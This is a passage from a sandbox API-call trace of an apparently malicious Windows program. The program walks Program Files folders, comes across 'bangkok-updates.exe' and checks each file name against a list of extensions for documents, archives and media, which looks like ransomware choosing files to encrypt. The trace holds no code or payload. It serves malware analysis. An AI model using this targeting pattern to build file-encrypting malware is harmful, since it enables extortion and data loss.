ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0157.290] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.290] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0157.290] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.290] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.290] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0157.291] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.291] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0157.291] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.291] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.291] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0157.291] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.291] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0157.292] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0157.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41e77c8 | out: hHeap=0x300000) returned 1 [0157.292] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0157.292] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0157.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0157.292] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0157.292] FindClose (in: hFindFile=0x41915c0 | out: hFindFile=0x41915c0) returned 1 [0157.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x425cf20 | out: hHeap=0x300000) returned 1 [0157.292] FindNextFileW (in: hFindFile=0x4191600, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0dc3730, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0dc3730, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0157.292] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0dc3730, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0dc3730, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41915c0 [0157.292] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0dc3730, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc0dc3730, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.292] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910d9b20, ftCreationTime.dwHighDateTime=0x1d52707, ftLastAccessTime.dwLowDateTime=0x2b232400, ftLastAccessTime.dwHighDateTime=0x1d51a65, ftLastWriteTime.dwLowDateTime=0x2b232400, ftLastWriteTime.dwHighDateTime=0x1d51a65, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bangkok-updates.exe", cAlternateFileName="BANGKO~1.EXE")) returned 1 [0157.293] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0157.293] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.293] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0157.293] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0157.321] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.321] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0157.321] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.332] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.332] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0157.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.333] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.333] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0157.333] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.333] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0157.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.334] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.334] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0157.334] FindClose (in: hFindFile=0x4191580 | out: hFindFile=0x4191580) returned 1 [0157.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a704a0 | out: hHeap=0x300000) returned 1 [0157.334] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0157.335] FindClose (in: hFindFile=0x4191780 | out: hFindFile=0x4191780) returned 1 [0157.335] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0157.335] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0157.335] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191780 [0157.347] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.347] FindNextFileW (in: hFindFile=0x4191780, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0157.348] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191580 [0157.348] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.348] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0157.348] lstrlenW (lpString="FrameworkList.xml") returned 17 [0157.348] lstrlenW (lpString=".1cd") returned 4 [0157.348] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0157.348] lstrlenW (lpString=".3ds") returned 4 [0157.348] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0157.348] lstrlenW (lpString=".3fr") returned 4 [0157.348] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".3g2") returned 4 [0157.349] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".3gp") returned 4 [0157.349] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".7z") returned 3 [0157.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0157.349] lstrlenW (lpString=".accda") returned 6 [0157.349] lstrcmpiW (lpString1=".accda", lpString2="st.xml") returned -1 [0157.349] lstrlenW (lpString=".accdb") returned 6 [0157.349] lstrcmpiW (lpString1=".accdb", lpString2="st.xml") returned -1 [0157.349] lstrlenW (lpString=".accdc") returned 6 [0157.349] lstrcmpiW (lpString1=".accdc", lpString2="st.xml") returned -1 [0157.349] lstrlenW (lpString=".accde") returned 6 [0157.349] lstrcmpiW (lpString1=".accde", lpString2="st.xml") returned -1 [0157.349] lstrlenW (lpString=".accdt") returned 6 [0157.349] lstrcmpiW (lpString1=".accdt", lpString2="st.xml") returned -1 [0157.349] lstrlenW (lpString=".accdw") returned 6 [0157.349] lstrcmpiW (lpString1=".accdw", lpString2="st.xml") returned -1 [0157.349] lstrlenW (lpString=".adb") returned 4 [0157.349] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".adp") returned 4 [0157.349] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".ai") returned 3 [0157.349] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0157.349] lstrlenW (lpString=".ai3") returned 4 [0157.349] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".ai4") returned 4 [0157.349] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".ai5") returned 4 [0157.349] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0157.349] lstrlenW (lpString=".ai6") returned 4 [0157.349] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0157.349] 